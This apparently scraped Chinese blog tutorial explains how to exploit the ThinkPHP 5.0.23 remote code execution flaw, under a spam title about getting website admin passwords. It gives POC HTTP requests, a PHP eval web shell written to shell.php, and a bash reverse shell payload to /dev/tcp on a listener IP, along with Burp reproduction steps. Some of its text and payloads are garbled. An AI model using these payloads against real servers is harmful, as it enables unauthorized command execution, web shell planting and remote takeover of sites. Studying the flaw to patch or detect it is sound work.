如何拿到网站后台密码,什么网站可以发布信息,wordpress新闻抓取插件,网页制作参考文献文章目录 一、什么是框架#xff1f;二、导致框架漏洞原因二、使用步骤三、ThinkPHP介绍四、Thinkphp框架特征五、Thinkphp5.0.23 远程代码执行1、漏洞影响范围2、漏洞成因 六、POC数据包Windows下的Linux下的 七、漏洞手工复现1、先Burp抓包#xff0c;把抓到的请求包发送到… 文章目录 一、什么是框架二、导致框架漏洞原因二、使用步骤三、ThinkPHP介绍四、Thinkphp框架特征五、Thinkphp5.0.23 远程代码执行1、漏洞影响范围2、漏洞成因 六、POC数据包Windows下的Linux下的 七、漏洞手工复现1、先Burp抓包把抓到的请求包发送到重放模块2、把数据包改成POST请求3、按照POC构造请求包然后重放4、写入shell5、反弹shell1建立监听2发送POC请求包3返回监听端查看发现shell已经反弹回来了 八、漏洞工具复现1、工具2、脚本 九、扩展-反弹shell 一、什么是框架
简言之别人帮你建好了房子但尚未装修你需要在别人设计好的户型里去装修省去你搬砖的重复性操作。 二、导致框架漏洞原因
框架存在环境缺陷使用了不安全的版本从而导致的。 二、使用步骤三、ThinkPHP介绍
------ ThinkPHP发展至今核心版本主要有以下几个系列ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列各个系列之间在代码实现及功能方面有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护ThinkPHP 5系列现使用最多而ThinkPHP 3系列也积累了较多的历史用户。
------ 从数据来看thinkphp 3系列版本的漏洞多是2016/2017年被爆出而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出从2020年开始ThinkPHP 6系列的漏洞也开始被挖掘。
------ 根据ThinkPHP版本如是5.x版本即可使用ThinkPHP 5.x远程代码执行漏洞无需登录即可执行任意命令获取服务器最高权限。 四、Thinkphp框架特征
报错会出现以下样式的 网站icon存在下面图标的 五、Thinkphp5.0.23 远程代码执行
1、漏洞影响范围
版本是 5.x 5.1.31 Thinkphp 5.0.x 5.0.23
2、漏洞成因
------ 该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数进而导致getshell漏洞 六、POC数据包
Windows下的
POST /index.php?scaptcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD] id POC参数解析 _method__construct 为了能够进入construct从而覆盖变量filter[]system 覆盖变量methodget 因为captcha的路由规则是get方式下的所以我们得让method为get才能获取到captcha的路由scaptcha 因为在进入exec函数后我们要switch到method中执行param函数而这个captcha的路由刚好对应类型为method所以我们选择captchaget[]id 覆盖变量
Linux下的
_method__constructfilter[]systemmethodgetget[]pwdGET请求的
?sindex/think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1写入shell
?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]echo ^?php eval($_POST[cmd]);?^ shell.php七、漏洞手工复现
1、先Burp抓包把抓到的请求包发送到重放模块 2、把数据包改成POST请求 3、按照POC构造请求包然后重放
这里就使用pwd命令来查看路径
4、写入shell
_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]echo ?php phpinfo(); ? 1.php这样子就写下来了。
5、反弹shell
POC需进行url编码
_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]/bin/bash-cbash-i%26/dev/tcp/192.168.188.177/99990%2611建立监听 2发送POC请求包 3返回监听端查看发现shell已经反弹回来了 八、漏洞工具复现
1、工具 2、脚本 这里要注意在windows操作时要写入shell时直接在cmd里面操作控制台不会直接识别 、’ 、” 等特殊符号这时就需要使用 ^ 来进行转义。
例如下面这个写入shell是无法执行的 这时使用 ^ 来进行转义就可以识别了 九、扩展-反弹shell 什么是反弹shellreverse shell 就是控制端监听某TCP/UDP端口被控端发起请求到该端口并将其命令行的输入输出转到控制端。reverse shell与telnetssh等标准shell差不多对应本质上是网络概念的客户端与服务端的角色反转。 为什么需要反弹shell 反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中往往因为端口限制而无法直连目标机器此时需要通过反弹shell来获取一个交互式shell以便继续深入。